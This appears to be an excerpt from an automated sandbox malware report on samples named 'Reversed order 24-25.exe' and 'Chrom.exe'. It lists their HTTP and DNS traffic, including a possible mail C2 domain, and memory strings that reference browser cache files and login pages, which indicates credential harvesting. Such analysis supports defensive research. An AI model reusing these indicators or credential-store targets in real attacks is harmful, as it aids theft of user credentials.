Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-smallscreen.min.css?ver=3.7.9 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0 HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png HTTP/1.1Host: www.woluntech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments&elementor_page_id=9959 HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png HTTP/1.1Host: www.woluntech.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199

Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: @dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.dathttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: @dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.dathttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: Chrom.exe, 00000018.00000003.2078748551.000000000050A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000003.2394295208.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000003.2374011355.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: Chrom.exe, 00000018.00000003.2078748551.000000000050A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000003.2394295208.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000003.2374011355.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: Chrom.exe, 00000014.00000003.2024316434.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2025554313.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701148152.00000000007E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: Chrom.exe, 00000014.00000003.2024316434.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2025554313.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701148152.00000000007E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mail.grabinphone.com
Source: global traffic	DNS traffic detected: DNS query: www.woluntech.com
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: sdk.51.la
Source: global traffic	DNS traffic detected: DNS query: collect-v6.51.la

Source: unknown

HTTP traffic detected: POST /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveContent-Length: 270sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://www.woluntech.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.woluntech.com/oders-pdf/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
